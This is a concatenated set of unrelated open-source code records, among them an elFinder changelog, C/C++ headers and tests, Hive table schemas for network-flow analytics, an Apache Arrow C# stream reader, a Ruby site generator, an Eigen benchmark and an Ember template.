fixes\n\n\n2015-02-21 Naoki Sawada \n\n\t* elFinder (2.0.6):\n\t\t- Fixed #1213 infinite loop in PHP connector\n\n\n2016-01-19 Naoki Sawada \n\n\t* elFinder (2.1.6):\n\t\t- Fixed #1074 startPath for multi volumes\n\t\t- Fixed #1172 enbug-fix of rename command\n\t\t- Fixed #1174 support for multi-instance on the same connector\n\t\t- Plugin: AutoResize New option `preserveExif`\n\t\t- Fixed #179 JPEG quality specifiable\n\t\t- Fixed #1176 auto-sync check with HTTP long polling/inotifywait\n\t\t- Fixed #1181 case insensitive search problem of LocalFileSystem driver\n\t\t- Added an autosync button into contextmenu `Reload`\n\t\t- Added new client configuration `syncStart`\n\t\t- Search result view optimization\n\t\t- Adddd new volume root option `searchTimeout` (default 30s)\n\t\t- Added new crient command `opendir` - opens selected item's parent folder at search result\n\t\t- Sortable \"Places\" (your favorites)\n\t\t- Fixed #1193 open the file at direct URL if possible\n\t\t- And some minor bug fixes\n\n\n2015-12-26 Naoki Sawada \n\n\t* elFinder (2.1.5):\n\t\t- Fixed bug that can't in writable with `chmod`\n\t\t- Show remove item info in confirm dialog on `rm` action\n\t\t- Fixed #1165, MIME types maintenance (doc, dot, xlt, xla)\n\t\t- Fixed problem if filename included character that can't be json encode\n\t\t- Added option `convmap` to Normalizer plugin\n\t\t- And some minor bug fixes\n\n\n2015-12-26 Naoki Sawada \n\n\t* elFinder (2.0.5):\n\t\t- Fixed problem if filename included character that can't be json encode\n\n\n2015-12-16 Naoki Sawada \n\n\t* elFinder (2.1.4):\n\t\t- Fixed #1163 Dropbox driver supported windows server\n\t\t- Fixed search problem on Windows server\n\n\n2015-12-13 Naoki Sawada \n\n\t* elFinder (2.1.3):\n\t\t- Auto configure `customHeaders`, `xhrFields` for CORS\n\t\t- Allow set elFinder::$volumesCnt by HTTP header \"X-elFinder-VolumesCntStart\"\n\t\t- Resolved #1145, Configurable keyboard shortcuts of any command\n\t\t- Force non-overwrite on URL uploading\n\t\t- Supported Drag out function with [Shift] + Drag of file item (with out IE)\n\t\t\t- Drag and Drop copy from elFinder(A) to elFinder(B)\n\t\t\t- Make list of download url to Text editor\n\t\t\t- Drag and Drop download with Chrome (Single file only)\n\t\t\t- etc.\n\t\t- Choosable \"backup\" at pasting of same name files\n\t\t- Show confirm at uploading of same name file exists\n\t\t- Show URL link icon on Download menu in contextmenu\n\t\t - This icon is clickable as normal link, shows context menu and drag out\n\t\t- Added more feedback sign of jQuery DnD drag icon\n\t\t- Others, some minor bug fixes\n\n\n2015-11-23 Naoki Sawada \n\n\t* elFinder (2.1.2):\n\t\t- [security-fix] vulnerability of the MIME type quarantine\n\t\t- Multi-line filename editing on icon view\n\t\t- Auto expands filename editing on list view\n\t\t- Fixed #1124, Uploading problem exactly 20MiB/30MiB/40MiB...\n\t\t- Marged #1125, Fix file permissions for MySQL LOAD_FILE command\n\t\t- Fixed #1127, Supported full path including the drive letter of the Windows server\n\t\t- Marged #1131, #1132, Complete Romanian(ro) translation\n\t\t- Fixed symbolic link file stats `mtime`, `size`\n\t\t- Marged #1133, Complete German(de) translation\n\t\t- Marged #1139, Complete Türkçe(tr) translation\n\t\t- Marged #1141, Plugin Normalizer function: make filename lowercase\n\t\t- Others, some minor bug fixes\n\n\n2015-11-23 Naoki Sawada \n\n\t* elFinder (2.0.4):\n\t\t- [security-fix] vulnerability of the MIME type quarantine\n\n\n2015-11-10 Naoki Sawada \n\n\t* elFinder (2.1.1):\n\t\t- More High performance server backend and light client UI\n\t\t- Connector plugin\n\t\t\t- AutoResize : Auto resize on file upload.\n\t\t\t- Normalizer : UTF-8 Normalizer of file-name and file-path etc.\n\t\t\t- Sanitizer : Sanitizer of file-name and file-path etc.\n\t\t\t- Watermark : Print watermark on file upload.\n\t\t- Folder upload with Chrome\n\t\t- Chunked file upload\n\t\t- Upload directly to the folder\n\t\t- Creating the archive by specifying the file name\n\t\t- Direct extraction to the current working directory (you do not want to create a folder)\n\t\t- Support Dropbox.com© (Configurable & As network volume)\n\t\t- Supports custom information in info dialog\n\t\t- Configuable columns of list view\n\t\t- Supports custom CSS class function of tree view\n\n\n2015-11-10 Naoki Sawada \n\n\t* elFinder (2.0.3):\n\t\t- jQuery 1.9+ support\n\t\t- 350+ bugs fixed since rc1 version\n\t\t- Modify translations and some new translations\n\t\t- Netmount volume function\n\n\n2012-04-10 Troex Nevelin \n\n\t* elFinder (2.0 rc1):\n\t\t- Major code refactor\n\t\t- 200+ bugs fixed since beta version\n\t\t- 14 new translations\n\t\t- FTP volume driver\n\t\t- Advanced image editing dialog\n\n\n2011-07-10 Troex Nevelin \n\n\t* elFinder (2.0 beta):\n\t\t- New branch 2.x, total rewrite from scratch\n\t\t- MySQL volume driver support (as file storage)\n\t\t- Full drag & drop support with HTML5 upload\n\n\n2011-06-20 Troex Nevelin \n\n\t* elFinder (1.2):\n\t\t- jQuery and UI updated\n\t\t- Python connector improvements\n\t\t- QuickLook fixed\n\t\t- CSS fixes\n\t\t- New icons from http://pixel-mixer.com/\n\t\t- New languages: Czech, Dutch, German, Greek, French, Hungarian,\n\t\t Italian, Japanese, Latvian, Polish, Brazilian Portuguese,\n\t\t Slovak, Thai, Turkish, Vietnamese, Simplified Chinese,\n\t\t Traditional Chinese\n\n\n2010-03-11 Troex Nevelin \n\n\t* elFinder (1.1):\n\t\t- Total rewrite from scratch.\n\t\t- New PHP connector.\n\t\t- Python connector.\n\t\t- Create/Extract archives.\n\t\t- QuickLook.\n\t\t- \"Places\" for favorites.\n\t\t- Background thumbnails creation.\n\t\t- Exteneded configuration options of connector and client.\n\t\t- Spanish localization.\n\t\t- JSON API description.\n\t\t- Full documentation in English, Russian and Spanish.\n\t\t- No more use of jquery plugins.\n\t\t- Website update.\n\t\t- [bugfix] All known bugs fixed.\n\n\n2009-11-09 Dmitry Levashov \n\n\t* elFinder (1.0.1):\n\t\t- In directory tree panel added arrows to open/close directories\n\t\t without entering in.\n\t\t- Added shortcut support for copy/cut/paste/delete files and\n\t\t folders. For Mac users added Command+Backspace support.\n\t\t- Added context menu to current directory.\n\t\t- Added help.\n\t\t- [bugfix] invalid determing files/folders permissions using\n\t\t \"perms\" options in php connector\n\n"} +{"text": "/*\n * Copyright (C) 2018 HAW Hamburg\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n */\n\n/**\n * @ingroup drivers_tps6274x\n *\n * @{\n * @file\n * @brief Default configuration for TPS6274x DC-DC Converter\n *\n * @author Peter Kietzmann \n */\n\n#ifndef TPS6274X_PARAMS_H\n#define TPS6274X_PARAMS_H\n\n#include \"board.h\"\n#include \"tps6274x.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/**\n * @name Set default configuration parameters for the TPS6274x\n * @{\n */\n#ifndef TPS6274X_PARAMS\n#define TPS6274X_PARAMS { .vsel = { GPIO_PIN(0, 0), \\\n GPIO_PIN(0, 1), \\\n GPIO_PIN(0, 2), \\\n GPIO_PIN(0, 3), \\\n }, \\\n .ctrl_pin = GPIO_PIN(0, 4) \\\n }\n#endif\n/**@}*/\n\n/**\n * @brief Configure TPS6274X\n */\nstatic const tps6274x_params_t tps6274x_params[] =\n{\n TPS6274X_PARAMS\n};\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* TPS6274X_PARAMS_H */\n/** @} */\n"} +{"text": "import React from 'react';\nimport Analyzer from 'parser/core/Analyzer';\nimport { formatNumber, formatPercentage } from 'common/format';\nimport SPELLS from 'common/SPELLS/index';\nimport TraitStatisticBox, { STATISTIC_ORDER } from 'interface/others/TraitStatisticBox';\n\n /**\n * Your healing spells have a chance to apply Blessed Portents for 20 sec.\n * When the ally falls below 50% health, Blessed Portents is consumed\n * and instantly restores X health.\n */\nclass BlessedPortents extends Analyzer {\n healing = 0;\n proccedBuffs = 0;\n expiredBuffs = 0;\n refreshedBuffs = 0;\n activeBuffs = 0;\n\n constructor(...args) {\n super(...args);\n this.active = this.selectedCombatant.hasTrait(SPELLS.BLESSED_PORTENTS.id);\n }\n\n on_byPlayer_heal(event) {\n const spellId = event.ability.guid;\n if (spellId !== SPELLS.BLESSED_PORTENTS_HEAL.id) {\n return;\n }\n\n this.healing += event.amount + (event.absorbed || 0);\n\n this.proccedBuffs += 1;\n this.expiredBuffs -= 1;\n }\n\n on_byPlayer_applybuff(event) {\n const spellId = event.ability.guid;\n\n if (spellId !== SPELLS.BLESSED_PORTENTS_BUFF.id) {\n return;\n }\n\n this.activeBuffs += 1;\n }\n\n on_byPlayer_removebuff(event) {\n const spellId = event.ability.guid;\n if (spellId !== SPELLS.BLESSED_PORTENTS_BUFF.id) {\n return;\n }\n\n this.expiredBuffs += 1;\n this.activeBuffs -= 1;\n }\n\n on_byPlayer_refreshbuff(event) {\n const spellId = event.ability.guid;\n if (spellId !== SPELLS.BLESSED_PORTENTS_BUFF.id) {\n return;\n }\n\n this.refreshedBuffs += 1;\n }\n get totalBuffs() {\n return this.proccedBuffs + this.expiredBuffs + this.refreshedBuffs + this.activeBuffs;\n }\n\n statistic() {\n const healingThroughputPercent = this.owner.getPercentageOfTotalHealingDone(this.healing);\n const hps = this.healing / this.owner.fightDuration * 1000;\n return (\n \n Applied {formatNumber(this.totalBuffs)} buffs, {formatNumber(this.refreshedBuffs)} were refreshes.\n
    \n
  • Procced: {formatNumber(this.proccedBuffs)}
  • \n
  • Expired: {formatNumber(this.expiredBuffs)}
  • \n
  • Active at encounter end: {formatNumber(this.activeBuffs)}
  • \n
\n \n )}\n />\n );\n }\n}\n\n export default BlessedPortents;\n"} +{"text": "/*-\n * #%L\n * Arcade Analytics\n * %%\n * Copyright (C) 2018 - 2019 ArcadeAnalytics\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n */\nimport { Component, OnInit } from '@angular/core';\nimport { BsModalService } from 'ngx-bootstrap';\n\nimport { ElasticsearchReindexModalComponent } from './elasticsearch-reindex-modal.component';\n\n@Component({\n selector: 'jhi-elasticsearch-reindex',\n templateUrl: './elasticsearch-reindex.component.html'\n})\nexport class ElasticsearchReindexComponent {\n\n constructor(\n private modalService: BsModalService\n ) { }\n\n showConfirm() {\n this.modalService.show(ElasticsearchReindexModalComponent);\n }\n}\n"} +{"text": "af20783944905ab20b2ae0404090c4e86007cce1\n"} +{"text": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef NET_CERT_INTERNAL_COMPLETION_STATUS_H_\n#define NET_CERT_INTERNAL_COMPLETION_STATUS_H_\n\nnamespace net {\n\nenum class CompletionStatus {\n SYNC,\n ASYNC,\n};\n\n} // namespace net\n\n#endif // NET_CERT_INTERNAL_COMPLETION_STATUS_H_\n"} +{"text": "/* ----------------------------------------------------------------------------\n\n * GTSAM Copyright 2010, Georgia Tech Research Corporation,\n * Atlanta, Georgia 30332-0415\n * All Rights Reserved\n * Authors: Frank Dellaert, et al. (see THANKS for the full author list)\n\n * See LICENSE for the license information\n\n * -------------------------------------------------------------------------- */\n\n/**\n * @file testRegularHessianFactor.cpp\n * @author Frank Dellaert\n * @date March 4, 2014\n */\n\n#include \n#include \n#include \n\n#include \n\n#include \n#include \n#include \n\nusing namespace std;\nusing namespace gtsam;\nusing namespace boost::assign;\n\n/* ************************************************************************* */\nTEST(RegularHessianFactor, Constructors)\n{\n // First construct a regular JacobianFactor\n // 0.5*|x0 + x1 + x3 - [1;2]|^2 = 0.5*|A*x-b|^2, with A=[I I I]\n Matrix A1 = I_2x2, A2 = I_2x2, A3 = I_2x2;\n Vector2 b(1,2);\n vector > terms;\n terms += make_pair(0, A1), make_pair(1, A2), make_pair(3, A3);\n RegularJacobianFactor<2> jf(terms, b);\n\n // Test conversion from JacobianFactor\n RegularHessianFactor<2> factor(jf);\n\n // 0.5*|A*x-b|^2 = 0.5*(Ax-b)'*(Ax-b) = 0.5*x'*A'A*x - x'*A'b + 0.5*b'*b\n // Compare with comment in HessianFactor: E(x) = 0.5 x^T G x - x^T g + 0.5 f\n // Hence G = I6, g A'*b = [b;b;b], and f = b'*b = 1+4 = 5\n Matrix G11 = I_2x2;\n Matrix G12 = I_2x2;\n Matrix G13 = I_2x2;\n\n Matrix G22 = I_2x2;\n Matrix G23 = I_2x2;\n\n Matrix G33 = I_2x2;\n\n Vector2 g1 = b, g2 = b, g3 = b;\n\n double f = 5;\n\n // Test ternary constructor\n RegularHessianFactor<2> factor2(0, 1, 3, G11, G12, G13, g1, G22, G23, g2, G33, g3, f);\n EXPECT(assert_equal(factor,factor2));\n\n // Test n-way constructor\n KeyVector keys {0, 1, 3};\n vector Gs; Gs += G11, G12, G13, G22, G23, G33;\n vector gs; gs += g1, g2, g3;\n RegularHessianFactor<2> factor3(keys, Gs, gs, f);\n EXPECT(assert_equal(factor, factor3));\n\n // Test constructor from Gaussian Factor Graph\n GaussianFactorGraph gfg;\n gfg += jf;\n RegularHessianFactor<2> factor4(gfg);\n EXPECT(assert_equal(factor, factor4));\n GaussianFactorGraph gfg2;\n gfg2 += factor;\n RegularHessianFactor<2> factor5(gfg);\n EXPECT(assert_equal(factor, factor5));\n\n // Test constructor from Information matrix\n Matrix info = factor.augmentedInformation();\n vector dims; dims += 2, 2, 2;\n SymmetricBlockMatrix sym(dims, info, true);\n RegularHessianFactor<2> factor6(keys, sym);\n EXPECT(assert_equal(factor, factor6));\n\n // multiplyHessianAdd:\n {\n // brute force\n Matrix AtA = factor.information();\n HessianFactor::const_iterator i1 = factor.begin();\n HessianFactor::const_iterator i2 = i1 + 1;\n Vector X(6); X << 1,2,3,4,5,6;\n Vector Y(6); Y << 9, 12, 9, 12, 9, 12;\n EXPECT(assert_equal(Y,AtA*X));\n\n VectorValues x = map_list_of\n (0, Vector2(1,2))\n (1, Vector2(3,4))\n (3, Vector2(5,6));\n\n VectorValues expected;\n expected.insert(0, Y.segment<2>(0));\n expected.insert(1, Y.segment<2>(2));\n expected.insert(3, Y.segment<2>(4));\n\n // VectorValues version\n double alpha = 1.0;\n VectorValues actualVV;\n actualVV.insert(0, Vector2::Zero());\n actualVV.insert(1, Vector2::Zero());\n actualVV.insert(3, Vector2::Zero());\n factor.multiplyHessianAdd(alpha, x, actualVV);\n EXPECT(assert_equal(expected, actualVV));\n\n // RAW ACCESS\n Vector expected_y(8); expected_y << 9, 12, 9, 12, 0, 0, 9, 12;\n Vector fast_y = Vector8::Zero();\n double xvalues[8] = {1,2,3,4,0,0,5,6};\n factor.multiplyHessianAdd(alpha, xvalues, fast_y.data());\n EXPECT(assert_equal(expected_y, fast_y));\n\n // now, do it with non-zero y\n factor.multiplyHessianAdd(alpha, xvalues, fast_y.data());\n EXPECT(assert_equal(2*expected_y, fast_y));\n\n // check some expressions\n EXPECT(assert_equal(G12,factor.info().aboveDiagonalBlock(i1 - factor.begin(), i2 - factor.begin())));\n EXPECT(assert_equal(G22,factor.info().diagonalBlock(i2 - factor.begin())));\n }\n}\n\n/* ************************************************************************* */\nint main() { TestResult tr; return TestRegistry::runAllTests(tr);}\n/* ************************************************************************* */\n"} +{"text": "\n-- Licensed to the Apache Software Foundation (ASF) under one or more\n-- contributor license agreements. See the NOTICE file distributed with\n-- this work for additional information regarding copyright ownership.\n-- The ASF licenses this file to You under the Apache License, Version 2.0\n-- (the \"License\"); you may not use this file except in compliance with\n-- the License. You may obtain a copy of the License at\n\n-- http://www.apache.org/licenses/LICENSE-2.0\n\n-- Unless required by applicable law or agreed to in writing, software\n-- distributed under the License is distributed on an \"AS IS\" BASIS,\n-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n-- See the License for the specific language governing permissions and\n-- limitations under the License.\n\n\nCREATE EXTERNAL TABLE IF NOT EXISTS ${var:dbname}.flow (\ntreceived STRING,\nunix_tstamp BIGINT,\ntryear INT,\ntrmonth INT,\ntrday INT,\ntrhour INT,\ntrminute INT,\ntrsec INT,\ntdur FLOAT,\nsip STRING,\ndip STRING,\nsport INT,\ndport INT,\nproto STRING,\nflag STRING,\nfwd INT,\nstos INT,\nipkt BIGINT,\nibyt BIGINT,\nopkt BIGINT, \nobyt BIGINT,\ninput INT,\noutput INT,\nsas INT,\ndas INT,\ndtos INT,\ndir INT,\nrip STRING\n)\nPARTITIONED BY (\ny SMALLINT,\nm TINYINT,\nd TINYINT,\nh TINYINT\n)\nSTORED AS PARQUET\nLOCATION '${var:huser}/flow/hive';\n\n\nCREATE EXTERNAL TABLE IF NOT EXISTS ${var:dbname}.flow_chords (\nip_threat STRING,\nsrcip STRING,\ndstip STRING,\nibyt BIGINT, \nipkt BIGINT\n)\nPARTITIONED BY (\ny SMALLINT,\nm TINYINT,\nd TINYINT\n)\nSTORED AS PARQUET\nLOCATION '${var:huser}/flow/hive/oa/chords';\n\n\nCREATE EXTERNAL TABLE IF NOT EXISTS ${var:dbname}.flow_edge (\ntstart STRING, \nsrcip STRING,\ndstip STRING,\nsport INT, \ndport INT, \nproto STRING,\nflags STRING,\ntos INT, \nibyt BIGINT, \nipkt BIGINT, \ninput BIGINT,\noutput BIGINT, \nrip STRING,\nobyt BIGINT, \nopkt BIGINT, \nhh INT,\nmn INT \n)\nPARTITIONED BY ( \ny SMALLINT,\nm TINYINT,\nd TINYINT\n)\nSTORED AS PARQUET\nLOCATION '${var:huser}/flow/hive/oa/edge';\n\n\nCREATE EXTERNAL TABLE IF NOT EXISTS ${var:dbname}.flow_ingest_summary (\ntdate STRING,\ntotal BIGINT \n)\nPARTITIONED BY ( \ny SMALLINT,\nm TINYINT,\nd TINYINT\n)\nSTORED AS PARQUET\nLOCATION '${var:huser}/flow/hive/oa/summary';\n\n\nCREATE EXTERNAL TABLE IF NOT EXISTS ${var:dbname}.flow_scores (\ntstart STRING, \nsrcip STRING,\ndstip STRING,\nsport INT, \ndport INT, \nproto STRING,\nipkt INT,\nibyt INT,\nopkt INT,\nobyt INT,\nml_score FLOAT,\nrank INT,\nsrcip_INTernal INT,\ndstip_INTernal INT,\nsrc_geoloc STRING, \ndst_geoloc STRING, \nsrc_domain STRING, \ndst_domain STRING, \nsrc_rep STRING,\ndst_rep STRING \n)\nPARTITIONED BY ( \ny SMALLINT,\nm TINYINT,\nd TINYINT\n)\nSTORED AS PARQUET\nLOCATION '${var:huser}/flow/hive/oa/suspicious';\n\n\nCREATE EXTERNAL TABLE IF NOT EXISTS ${var:dbname}.flow_storyboard (\nip_threat STRING,\ntitle STRING,\ntext STRING\n)\nPARTITIONED BY ( \ny SMALLINT,\nm TINYINT,\nd TINYINT\n)\nSTORED AS PARQUET\nLOCATION '${var:huser}/flow/hive/oa/storyboard';\n\n\nCREATE EXTERNAL TABLE IF NOT EXISTS ${var:dbname}.flow_threat_investigation (\ntstart STRING,\nsrcip STRING, \ndstip STRING, \nsrcport INT,\ndstport INT,\nscore INT \n) \nPARTITIONED BY (\ny SMALLINT,\nm TINYINT,\nd TINYINT\n) \nSTORED AS PARQUET \nLOCATION '${var:huser}/flow/hive/oa/threat_investigation';\n\n\nCREATE EXTERNAL TABLE IF NOT EXISTS ${var:dbname}.flow_timeline (\nip_threat STRING,\ntstart STRING, \ntend STRING, \nsrcip STRING,\ndstip STRING,\nproto STRING,\nsport INT, \ndport INT, \nipkt BIGINT, \nibyt BIGINT\n)\nPARTITIONED BY ( \ny SMALLINT,\nm TINYINT,\nd TINYINT\n)\nSTORED AS PARQUET\nLOCATION '${var:huser}/flow/hive/oa/timeline';\n"} +{"text": "### response with 200\n\n```js\n//\n[\n {\n \"channelId\": \"91_ANDROID\",\n \"channelName\": \"91(Android)\",\n \"versions\": [\n \"1.1.3\",\n \"1.1.2\",\n \"1.1.1\"\n ],\n \"deprecated\": [\"1.1.3\"]\n },\n {\n \"channelId\": \"kugou_ANDROID\",\n \"channelName\": \"酷狗(Android)\",\n \"versions\": [\n \"1.0.5\",\n \"1.0.4\",\n \"1.0.3\"\n ],\n \"deprecated\": [\"1.0.3\"]\n },\n {\n \"versions\": [\n \"1.0.2\",\n \"1.0.1\"\n ],\n \"deprecated\": [\"1.0.1\"],\n \"channelId\": \"oppo_ANDROID\",\n \"channelName\": \"oppo(Android)\"\n },\n {\n \"versions\": [\n \"1.0.4\",\n \"1.0.3\",\n \"1.0.2\",\n \"1.0.1\"\n ],\n \"deprecated\": [\"1.0.1\", \"1.0.4\"],\n \"channelId\": \"pps_ANDROID\",\n \"channelName\": \"pps(Android)\"\n },\n {\n \"versions\": [\n \"1.0.3\",\n \"1.0.2\"\n ],\n \"deprecated\": [\"1.0.3\"],\n \"channelId\": \"zhangqu_ANDROID\",\n \"channelName\": \"掌趣(Android)\"\n },\n {\n \"versions\": [\n \"1.0.6\"\n ],\n \"deprecated\": [],\n \"channelId\": \"zhangyue_ANDROID\",\n \"channelName\": \"掌阅(Android)\"\n },\n {\n \"channelId\": \"360_IOS\",\n \"channelName\": \"360(IOS)\",\n \"versions\": [\n \"1.0.6\"\n ],\n \"deprecated\": []\n }\n]\n\n```"} +{"text": "/*******************************************************************************\n * Copyright (c) 2001, 2018 IBM Corp. and others\n *\n * This program and the accompanying materials are made available under\n * the terms of the Eclipse Public License 2.0 which accompanies this\n * distribution and is available at https://www.eclipse.org/legal/epl-2.0/\n * or the Apache License, Version 2.0 which accompanies this distribution and\n * is available at https://www.apache.org/licenses/LICENSE-2.0.\n *\n * This Source Code may also be made available under the following\n * Secondary Licenses when the conditions for such availability set\n * forth in the Eclipse Public License, v. 2.0 are satisfied: GNU\n * General Public License, version 2 with the GNU Classpath\n * Exception [1] and GNU General Public License, version 2 with the\n * OpenJDK Assembly Exception [2].\n *\n * [1] https://www.gnu.org/software/classpath/license.html\n * [2] http://openjdk.java.net/legal/assembly-exception.html\n *\n * SPDX-License-Identifier: EPL-2.0 OR Apache-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 OR LicenseRef-GPL-2.0 WITH Assembly-exception\n *******************************************************************************/\npackage jnurlcldr.shared.findstore;\n\npublic class G_Dummy {\n\tstatic class Data {\n\t\tpublic int getInt() {\n\t\t\tSystem.out.println(\"CACHED G\");\n\t\t\treturn new H_Dummy().getInt();\n\t\t}\n\t}\n\t\n\tpublic int getInt() {\n\t\treturn new Data().getInt();\n\t}\n}\n"} +{"text": "#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire 'rubygems'\nbegin\n require 'newgem'\nrescue LoadError\n puts \"\\n\\nGenerating the website requires the newgem RubyGem\"\n puts \"Install: gem install newgem\\n\\n\"\n exit(1)\nend\nrequire 'redcloth'\nrequire 'syntax/convertors/html'\nrequire 'erb'\nrequire File.dirname(__FILE__) + '/../lib/faker/version.rb'\n\nversion = Faker::VERSION\ndownload = 'http://rubyforge.org/projects/faker'\n\nclass Integer\n def ordinal\n # teens\n return 'th' if (10..19).cover?(self % 100)\n\n # others\n case self % 10\n when 1\n return 'st'\n when 2\n return 'nd'\n when 3\n return 'rd'\n end\n 'th'\n end\nend\n\nclass Time\n def pretty\n \"#{mday}#{mday.ordinal} #{strftime('%B')} #{year}\"\n end\nend\n\ndef convert_syntax(syntax, source)\n Syntax::Convertors::HTML.for_syntax(syntax).convert(source).gsub(%r{^
|
$}, '')\nend\n\nif ARGV.length >= 1\n src, template = ARGV\n template ||= File.join(File.dirname(__FILE__), '/../website/template.rhtml')\n\nelse\n puts(\"Usage: #{File.split($PROGRAM_NAME).last} source.txt [template.rhtml] > output.html\")\n exit!\nend\n\ntemplate = ERB.new(File.open(template).read)\n\ntitle = nil\nbody = nil\nFile.open(src) do |fsrc|\n title_text = fsrc.readline\n body_text = fsrc.read\n syntax_items = []\n body_text.gsub!(%r{<(pre|code)[^>]*?syntax=['\"]([^'\"]+)[^>]*>(.*?)}m) do\n ident = syntax_items.length\n element = Regexp.last_match(1)\n syntax = Regexp.last_match(2)\n source = Regexp.last_match(3)\n syntax_items << \"<#{element} class='syntax'>#{convert_syntax(syntax, source)}\"\n \"syntax-temp-#{ident}\"\n end\n title = RedCloth.new(title_text).to_html.gsub(/<.*?>/, '').strip\n body = RedCloth.new(body_text).to_html\n body.gsub!(%r{(?:
)?syntax-temp-(\\d+)(?:
)?}) { syntax_items[Regexp.last_match(1).to_i] }\nend\nstat = File.stat(src)\ncreated = stat.ctime\nmodified = stat.mtime\n\n$stdout << template.result(binding)\n"} +{"text": "// Licensed to the Apache Software Foundation (ASF) under one or more\n// contributor license agreements. See the NOTICE file distributed with\n// this work for additional information regarding copyright ownership.\n// The ASF licenses this file to You under the Apache License, Version 2.0\n// (the \"License\"); you may not use this file except in compliance with\n// the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\nusing Apache.Arrow.Memory;\nusing System;\nusing System.IO;\nusing System.Threading;\nusing System.Threading.Tasks;\n\nnamespace Apache.Arrow.Ipc\n{\n /// \n /// Represents a reader that can read Arrow streams.\n /// \n public class ArrowStreamReader : IArrowReader, IDisposable\n {\n private protected readonly ArrowReaderImplementation _implementation;\n\n public Schema Schema => _implementation.Schema;\n\n public ArrowStreamReader(Stream stream)\n : this(stream, allocator: null, leaveOpen: false)\n {\n }\n\n public ArrowStreamReader(Stream stream, MemoryAllocator allocator)\n : this(stream, allocator, leaveOpen: false)\n {\n }\n\n public ArrowStreamReader(Stream stream, bool leaveOpen)\n : this(stream, allocator: null, leaveOpen)\n {\n }\n\n public ArrowStreamReader(Stream stream, MemoryAllocator allocator, bool leaveOpen)\n {\n if (stream == null)\n throw new ArgumentNullException(nameof(stream));\n\n _implementation = new ArrowStreamReaderImplementation(stream, allocator, leaveOpen);\n }\n\n public ArrowStreamReader(ReadOnlyMemory buffer)\n {\n _implementation = new ArrowMemoryReaderImplementation(buffer);\n }\n\n private protected ArrowStreamReader(ArrowReaderImplementation implementation)\n {\n _implementation = implementation;\n }\n\n public void Dispose()\n {\n Dispose(true);\n GC.SuppressFinalize(this);\n }\n\n protected virtual void Dispose(bool disposing)\n {\n if (disposing)\n {\n _implementation.Dispose();\n }\n }\n\n public ValueTask ReadNextRecordBatchAsync(CancellationToken cancellationToken = default)\n {\n return _implementation.ReadNextRecordBatchAsync(cancellationToken);\n }\n\n public RecordBatch ReadNextRecordBatch()\n {\n return _implementation.ReadNextRecordBatch();\n }\n }\n}\n"} +{"text": "# Code of Conduct\n\nBe respectful toward other members of the community. Don't initiate or engage in discussions that are designed to insult, inflame, attack, or incite hate/discrimination/bullying against others. Don't feed the trolls. If we detect any kind of behaviour we consider unacceptable, we reserve the right to ban, block, or remove the involved members from any or all of our communities.\n\n# See Also\n\n- [Project description](README.md)\n- [License agreement](LICENSE.md)"} +{"text": "\n#include \n#include \n#include \nusing namespace Eigen;\n\n#ifndef SIZE\n#define SIZE 50\n#endif\n\n#ifndef REPEAT\n#define REPEAT 10000\n#endif\n\ntypedef float Scalar;\n\n__attribute__ ((noinline)) void benchVec(Scalar* a, Scalar* b, Scalar* c, int size);\n__attribute__ ((noinline)) void benchVec(MatrixXf& a, MatrixXf& b, MatrixXf& c);\n__attribute__ ((noinline)) void benchVec(VectorXf& a, VectorXf& b, VectorXf& c);\n\nint main(int argc, char* argv[])\n{\n int size = SIZE * 8;\n int size2 = size * size;\n Scalar* a = internal::aligned_new(size2);\n Scalar* b = internal::aligned_new(size2+4)+1;\n Scalar* c = internal::aligned_new(size2); \n \n for (int i=0; i2 ; --innersize)\n {\n if (size2%innersize==0)\n {\n int outersize = size2/innersize;\n MatrixXf ma = Map(a, innersize, outersize );\n MatrixXf mb = Map(b, innersize, outersize );\n MatrixXf mc = Map(c, innersize, outersize );\n timer.reset();\n for (int k=0; k<3; ++k)\n {\n timer.start();\n benchVec(ma, mb, mc);\n timer.stop();\n }\n std::cout << innersize << \" x \" << outersize << \" \" << timer.value() << \"s \" << (double(size2*REPEAT)/timer.value())/(1024.*1024.*1024.) << \" GFlops\\n\";\n }\n }\n \n VectorXf va = Map(a, size2);\n VectorXf vb = Map(b, size2);\n VectorXf vc = Map(c, size2);\n timer.reset();\n for (int k=0; k<3; ++k)\n {\n timer.start();\n benchVec(va, vb, vc);\n timer.stop();\n }\n std::cout << timer.value() << \"s \" << (double(size2*REPEAT)/timer.value())/(1024.*1024.*1024.) << \" GFlops\\n\";\n\n return 0;\n}\n\nvoid benchVec(MatrixXf& a, MatrixXf& b, MatrixXf& c)\n{\n for (int k=0; k::type PacketScalar;\n const int PacketSize = internal::packet_traits::size;\n PacketScalar a0, a1, a2, a3, b0, b1, b2, b3;\n for (int k=0; k\n Skip to main content\n\n \n\n
\n {{#if this.showNavMenu}}\n \n {{/if}}\n\n
\n {{outlet}}\n
\n\n \n\n \n\n \n\n \n
